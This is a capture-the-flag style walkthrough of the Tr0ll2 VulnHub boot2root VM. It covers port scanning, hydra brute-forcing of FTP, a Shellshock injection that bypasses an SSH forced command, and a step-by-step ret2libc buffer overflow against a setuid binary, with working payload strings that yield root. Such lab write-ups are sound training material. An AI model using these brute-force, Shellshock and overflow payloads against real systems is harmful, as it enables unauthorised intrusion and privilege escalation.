Tr0ll2 is a successor in a boot2root series by @Maleus21 hosted over at VulnHub. Having been able to pwn Tr0ll1, I gave this one a shot too.

Here is my experience taming the troll, again.

getting started

Like almost all boot2roots, we get right into it by slapping the VM into a hypervisor (VirtualBox in my case), discovering the IP address and running a nmap against it:

root@kali:~/Desktop/troll2# nmap -sV --reason

Starting Nmap 6.46 ( ) at 2014-10-10 06:55 SAST
Nmap scan report for
Host is up, received reset (0.00031s latency).
Not shown: 997 filtered ports
Reason: 997 no-responses
21/tcp open  ftp     syn-ack vsftpd 2.0.8 or later
22/tcp open  ssh     syn-ack OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack Apache httpd 2.2.22 ((Ubuntu))
Service Info: Host: Tr0ll; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 15.21 seconds

ftp, ssh and http. Quite an attack surface to start with. I start with a quick google for vsftpd 2.0.8 exploit with nothing apparently obvious jumping out at me. I also quickly attempt to SSH to the server just to check if there aren’t any strange banners etc to be found which was not the case.

web server

Opening up a browser to revealed a familiar image:

Oh. Hai. The sources serving up the image had the comment <!-- Nothing to see here, but good try NOOB!> with the image.

Further poking around got me to checking if a robots.txt file was present. It was and contained some interestingly named entries. Some of the directories would 404, however a few would 200 with exactly the same content. The directories that returned HTTP 200 were:


The content served up at these URLs:

The source that serves up this image had the comment <!--What did you really think to find here? Try Harder!> with the image.

So with exactly the same content displayed for all of the directories that are present, I was a little unsure of where to go next. For all I knew, these 4 directories may have been a symlink to the same place. The HTML sources were the same as well as the images. I figured the next thing I could do was download the images and compare exifdata. I put the URL’s that would 200 into a text file from the robots.txt and looped over them downloading the images:

root@kali:~# for line in $(cat 200.txt); do echo "==>$line<==" && wget$line/cat_the_troll.jpg; done

--2014-10-10 07:31:37--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 15831 (15K) [image/jpeg]
Saving to: `cat_the_troll.jpg.3'

100%[=======>] 15,831      --.-K/s   in 0s

2014-10-10 07:31:37 (191 MB/s) - `cat_the_troll.jpg.3' saved [15831/15831]

Immediately when you ls the directory containing the images will you notice a difference:

root@kali:~# ls -l
total 68
-rw-r--r-- 1 root root    47 Oct 10 07:31 200.txt
-rw-r--r-- 1 root root 15831 Oct  4 10:57 cat_the_troll.jpg
-rw-r--r-- 1 root root 15873 Oct  4 10:31 cat_the_troll.jpg.1 #<---
-rw-r--r-- 1 root root 15831 Oct  4 10:57 cat_the_troll.jpg.2
-rw-r--r-- 1 root root 15831 Oct  4 10:57 cat_the_troll.jpg.3

One of the entires has a different timestamp to the others. A quick glance on the exifdata did not reveal any differences, however, running a cmp on the files hinted towards what may be up.

root@kali:~# cmp cat_the_troll.jpg cat_the_troll.jpg.1
cmp: EOF on cat_the_troll.jpg

Sweet, so lets print the last line of both and check what the diff is:

root@kali:~/Desktop/troll2/c# tail -n 1 cat_the_troll.jpg
8�z2��p�T�lj\p��?�<�S�۪��6�#���7U y���*/ p?E$���%=���.�B���o�ES_�

root@kali:~/Desktop/troll2/c# tail -n 1 cat_the_troll.jpg.1
8�z2��p�T�lj\p��?�<�S�۪��6�#���7U y���*/ p?E$���%=���.�B���o�ES_��Look Deep within y0ur_self for the answer

Look Deep within y0ur_self for the answer. Hmm. Keeping in mind some of the previous tricks tr0ll had and the fact that the words y0ur_self were written differently, I tried to use this as a web path:

I downloaded answer.txt and started to check what is happening inside:

root@kali:~# head answer.txt

Looks a lot like base64 hey? Lets try decode it:

root@kali:~# cat answer.txt | base64 -d | head

The resultant output appeared to be a wordlist. A big one too. In fact, it has 99157 entires in it. At this stage I was really hoping that I did not have to use this to brute force the ftp or ssh service. That would take forever! After a sort | uniq, the size was reduced to 73128 which was still too much.

I decided to scroll through the list to see if I can spot anything out of the ordinary. My eyes started to feel very tired and not in the mood to go through all of this, but I persisted and eventually noticed a entry ItCantReallyBeThisEasyRightLOL on line 34164 that was not similar in pattern to the other words. This one was not a web directory :P

My guess was that this has to be a password for either the FTP or SSH service.


I now had what I assumed was a password. No other web related hints had me focussing there and I started to doubt my findings.

As a last resort, I started to get together a wordlist that I could give to hydra to chew on. My idea was to grab all of the strings from the web service, including the one found in answer.txt, mutate it a bit and hand it over to hydra to do its work.

My approach to compiling the list basically boiled down to appending everything I could find (including HTML sources) as strings into a file. Once I had that, I ran cat wordz | tr "\"' " '\n' | sort -u >> words to break it up into a wordlist. Lastly I took the entries had a _ in them and broke them up as single words ie: cat_the_troll.jpg turned into cat, the, troll. The resultant list can be seen here

And finally, it was time to let hydra on the loose.

root@kali:~# hydra -v -V -F -L words -P words -t 30
Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra ( starting at 2014-10-10 08:11:50
[DATA] 30 tasks, 1 server, 13689 login tries (l:117/p:117), ~456 tries per task
[DATA] attacking service ftp on port 21
[VERBOSE] Resolving addresses ... done
[ATTEMPT] target - login ">" - pass ">" - 1 of 13689 [child 0]
[ATTEMPT] target - login ">" - pass "404" - 2 of 13689 [child 1]
[ATTEMPT] target - login ">" - pass "again" - 3 of 13689 [child 2]
[ATTEMPT] target - login ">" - pass "agent" - 4 of 13689 [child 3]
[ATTEMPT] target - login "Tr0ll" - pass "Tr0ll" - 10621 of 13689 [child 4]
[ATTEMPT] target - login "Tr0ll" - pass "tr0ll2" - 10622 of 13689 [child 8]
[ATTEMPT] target - login "Tr0ll" - pass "tr0ll_again.jpg" - 10623 of 13689 [child 23]
[21][ftp] host:   login: Tr0ll   password: Tr0ll
[STATUS] attack finished for (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra ( finished at 2014-10-10 08:29:08

After a really, really long time, we finally get a successful combination of Tr0ll:Tr0ll. Guess I could have guessed that but oh well. Lets see if this gives us any access:

root@kali:~# ftp
Connected to
220 Welcome to Tr0ll FTP... Only noobs stay for a while...
Name ( Tr0ll
331 Please specify the password.
230 Login successful.

Yay! Progress! Lets take a closer look…

Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pas
Passive mode on.

ftp> ls
227 Entering Passive Mode (192,168,56,101,73,4)
150 Here comes the directory listing.
-rw-r--r--    1 0        0            1474 Oct 04 01:09
226 Directory send OK.

ftp> get
local: remote:
227 Entering Passive Mode (192,168,56,101,105,73)
150 Opening BINARY mode data connection for (1474 bytes).
226 Transfer complete.
1474 bytes received in 0.00 secs (621.0 kB/s)

ftp> bye
221 Goodbye.

noob key

We find ourselves with a zip archive called A encrypted one :(

I tried a few passwords from the wordlist that I had built earlier and eventually got to the word we got out of answer.txt:

root@kali:~/Desktop/troll2# unzip
[] noob password: #ItCantReallyBeThisEasyRightLOL
  inflating: noob

root@kali:~# cat noob

A unencrypted private key! Called noob. I guessed noob may be the username, so I fixed up the permissions on the key and tried my luck:

root@kali:~/Desktop/troll2# chmod 600 noob
root@kali:~/Desktop/troll2# ssh noob@ -i noob
Connection to closed.

shocking isn’t it

Surprise surprise. It seemed like we are in fact authenticating, but we don’t have a shell. I figured one of two things could be happening here. First, the .bashrc may have been modified with something that echoes the text TRY HARDER LOL! and exits, or there is some restriction on the SSH key for noob.

My first attempts were to specify a command with -t as /bin/bash, but this did not work.

With the current buzz around the recently disclosed shellshock bug, I thought I’d try it assuming its a key restriction:

root@kali:~# ssh noob@ -i noob -t '() { :;}; /bin/bash'
noob@Tr0ll2:~$ id
uid=1002(noob) gid=1002(noob) groups=1002(noob)

Shocking :) To confirm, the authorized_keys file has the entry command="echo TRY HARDER LOL!" before the public key.

which door leads to r00t

With shell access to the machine, it was time to start enumerating and learn more about what we are facing next. Nothing particularly interesting popped up, until I noticed a directory /nothing_to_see_here.

/nothing_to_see_here had another directory inside of it choose_wisely/ with another 3 sub directories called door1, door2 and door3.

All 3 ‘doors’ had a setuid binary called r00t. I ran the first one which had the output:

noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door1$ ./r00t
Good job, stand by, executing root shell...
Broadcast message from noob@Tr0ll2
    (/dev/pts/0) at 0:48 ...

The system is going down for reboot NOW!
Connection to closed by remote host.
Connection to closed.

Dam. The VM promptly rebooted. Obviously I need to be a little more careful :D

The machine rebooted and I logged in again as noob, changing directories to the r00t binaries. I tried to run strings on them, but it seems like the command was unavailable. No worries, next on the list was od.

noob@Tr0ll2:/nothing_to_see_here/choose_wisely$ od -S 1 door3/r00t
0001214 __libc_start_main
0001236 GLIBC_2.0
0001320 R
0001453 Q
0001521 %
0001526 h
0001626 h
0001646 h(
0002066 t&
0002073 '
0002305 i
0002620 Good job, stand by, executing root shell...
0002713 /sbin/reboot
0002733 ;0
0002750 L
0002760 p
0003025 zR
0003060 p
0003077 x

So this is the binary that simply rebooted the machine. What is weird though is that this r00t binary was in door1/ prior to the reboot. I continued to check out the other binaries, when suddenly the folder containing all of the files disappeared and reappeared. After this all of the r00t binaries were shuffled around again.

This was only a minor annoyance and I had enough time to check out the binaries using od to figure out which one I should be looking at. The other binary that would have been a problem appears to chmod /bin/ls so that it becomes unusable. Lucky I missed that one.

bof bof bof your boat…

I copied the binary of interest to /tmp so that I wont be bothered by the shuffling thing that was going on again. Most importantly the one of interest was slightly bigger in size compared to the others so it was easy to identify it apart from the others.

With the binary in /tmp, noob was the owner. For testing purposes this was ok as the exploit should work the same with the one with the desired permissions.

To check the security applied to the binary at compile time, I copied it off using xxd to my local machine and checked it out.

root@kali:~# gdb -q ./r00t
Reading symbols from /root/Desktop/troll2/r00t...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partia

No security? EZ PEZE.

Next, it was time to start fuzzing the binary and see if it has any interesting behavior:

noob@Tr0ll2:/tmp$ ./r00t $(python -c 'print "A" * 500')
Segmentation fault

500 “A”’s, and we have a crash. Perfect. It also seems like a really easy buffer overflow vulnerability. I quickly checked that ASLR was not enabled. If it is not, I planned on popping this one with a ret2libc attack.

noob@Tr0ll2:/tmp$ ldd ./r00t =>  (0xb7fff000) => /lib/i386-linux-gnu/ (0xb7e4e000)
    /lib/ (0x80000000)

noob@Tr0ll2:/tmp$ ldd ./r00t =>  (0xb7fff000) => /lib/i386-linux-gnu/ (0xb7e4e000)
    /lib/ (0x80000000)

Both entries returned the same address for libc, indicating that ASLR was not enabled :) Tr0ll2 was also nice enough to include gdb, making the exploit development process very easy.

the exploit

With all of the information gathered so far about this particularly interesting r00t binary, it was time to quickly write the overflow exploit to attempt and spawn us a root shell.

First, we have to inspect the crash when we send those 500 A’s

noob@Tr0ll2:/tmp$ gdb -q ./r00t
Reading symbols from /tmp/r00t...done.

(gdb) r $(python -c 'print "A" * 500')
Starting program: /tmp/r00t $(python -c 'print "A" * 500')

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

(gdb) x/x $eip
0x41414141: Cannot access memory at address 0x41414141

We see that we have cleanly overwritten EIP with our hex representation of A’s. We don’t know the exact location of where this is overwritten from our input yet, so lets find out by providing it a unique buffer using the metasploit pattern_create script, and then checking the offset using the pattern_offset script.

Lets generate the pattern.

root@kali:~# locate pattern_create

root@kali:~# /usr/share/metasploit-framework/tools/pattern_create.rb 500

Next, we provide this pattern as input to crash the application and inspect the registers:

noob@Tr0ll2:/tmp$ gdb -q ./r00t
Reading symbols from /tmp/r00t...done.

(gdb) r "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq"

Starting program: /tmp/r00t "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq"

Program received signal SIGSEGV, Segmentation fault.
0x6a413969 in ?? ()

So we crashed at 0x6a413969. Lets check the offset of this in our buffer.

root@kali:~# /usr/share/metasploit-framework/tools/pattern_offset.rb 6a413969
[*] Exact match at offset 268

So at byte 268 we start to override EIP cleanly. We can test this to make sure our calculations were correct by replacing that section with B’s:

noob@Tr0ll2:/tmp$ gdb -q ./r00t
Reading symbols from /tmp/r00t...done.

(gdb) r $(python -c 'print "A" *268 + "BBBB"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/r00t $(python -c 'print "A" *268 + "BBBB"')

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

(gdb) x/x $eip
0x42424242: Cannot access memory at address 0x42424242

So with that done, we can deduce that we can cleanly override EIP at offset 268.

The next part we need to get is the location of system() from within libc. We can leak this address quite easily by inspecting the memory from a running application such as r00t linked to it:

noob@Tr0ll2:/tmp$ gdb -q ./r00t
Reading symbols from /tmp/r00t...done.

(gdb) b *main   # here we break on the main function
Breakpoint 1 at 0x8048444: file bof.c, line 3.

(gdb) r         # here we run the application....
Starting program: /tmp/r00t

Breakpoint 1, main (argc=1, argv=0xbffffd84) at bof.c:3
3   bof.c: No such file or directory.

(gdb) p system  # and leak the locatin of system() in memory
$1 = {<text variable, no debug info>} 0xb7e6b060 <system>

So system() lives at 0xb7e6b060. We are going to point EIP here and provide it a argument from a environment variable. I don’t really care if the application exits cleanly, however you can easily get that right by leaking the location of exit() too and placing that as the ret address in the exploit. I just like to type JUNK ;)

So far our exploit payload will look something like this:

A * 268 + system() + JUNK

The last thing we need is a argument for system() on the stack so that it can execute that. One way of achieving this is to provide the memory location of a string such as /bin/sh. We can easily set an environment variable with this string, locate it in memory and use that.

So lets create this string, which we will refer to as the EGG.

noob@Tr0ll2:/tmp$ export EGG=/bin/sh
noob@Tr0ll2:/tmp$ env | grep EGG

Next, we can use a small C program to tell us where this EGG is in memory:

noob@Tr0ll2:/tmp$ cat /tmp/findegg.c
#include <unistd.h>

int main(void)
  printf("EGG address: 0x%lx\n", getenv("EGG")+4);
  return 0;

noob@Tr0ll2:/tmp$ gcc /tmp/findegg.c -o /tmp/findegg

noob@Tr0ll2:/tmp$ /tmp/findegg
EGG address: 0xbfffff04

So our egg lives at 0xbfffff04. This memory address will probably be different for you if you try, but the process to find it remains the same. We also have to keep in mind that the environment will be slightly different when we execute our exploit in and out of gdb.

With everything we need, we can deduce that our exploit payload will end up being something like this:

A * 268 + system() + JUNK + EGG

Lets get the python version of that written up and sent to our vulnerable binary (addresses are written ‘backwards’ due to the little endian format of the CPU):

noob@Tr0ll2:/tmp$ ./r00t $(python -c 'print "A" *268 + "\x60\xb0\xe6\xb7" + "JUNK" + "\x04\xff\xff\xbf"')
Segmentation fault

Wups, segfault. You will find that this is probably because the location of our EGG in memory did not compensate for the length of the binary name. Our binary is called r00t, which is 4 chars long, so maybe we need to move the location of our EGG up with up to 4 bytes. For demonstration purposes I am going to show all the attempts for each byte:

# so just to recap, we check for the location of the EGG
noob@Tr0ll2:/tmp$ ./findegg
EGG address: 0xbfffff04

# EGG is at 0xbfffff04, so in little endian format we have:
noob@Tr0ll2:/tmp$ ./r00t $(python -c 'print "A" *268 + "\x60\xb0\xe6\xb7" + "JUNK" + "\x04\xff\xff\xbf"')
Segmentation fault

# A segfault, lets move it up 1 byte
noob@Tr0ll2:/tmp$ ./r00t $(python -c 'print "A" *268 + "\x60\xb0\xe6\xb7" + "JUNK" + "\x05\xff\xff\xbf"')
sh: 1: =/bin/sh: not found
Segmentation fault

# another segfault, however we have a little diagnostics message now
# showing that we are not far off :)
noob@Tr0ll2:/tmp$ ./r00t $(python -c 'print "A" *268 + "\x60\xb0\xe6\xb7" + "JUNK" + "\x06\xff\xff\xbf"')

trollin the rootin

So 0xbfffff06 as a EGG location will give us shell in our testing! To finish off then, I have to find the correct r00t binary in all of the door{1,2,3} folders and attempt my exploit there:

noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door2$ ./r00t $(python -c 'print "A" *268 + "\x60\xb0\xe6\xb7" + "JUNK" + "\x06\xff\xff\xbf"')
sh: 1: in:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games: not found
Segmentation fault

Another segmentation fault! This time we seem to be waaaaaaaay off too. This is because of the PWD changing so drastically. To fix this, we simply rerun our findegg program and compensate for the binary name. When completing this, I had a successful run as follows:

noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door2$ ./r00t $(python -c 'print "A" *268 + "\x60\xb0\xe6\xb7" + "JUNK" + "\xe2\xfe\xff\xbf"')
# id
uid=1002(noob) gid=1002(noob) euid=0(root) groups=0(root),1002(noob)

This time I had to move the memory location for for my EGG on by quite a few bytes, in fact from 0xbffffeda all the way to 0xbffffee2

As I was now root, I may cat the Proof.txt in /root

# cat /root/Proof.txt
You win this time young Jedi...


Thanks @Maleus21 for the fun VM and VulnHub for the hosting :)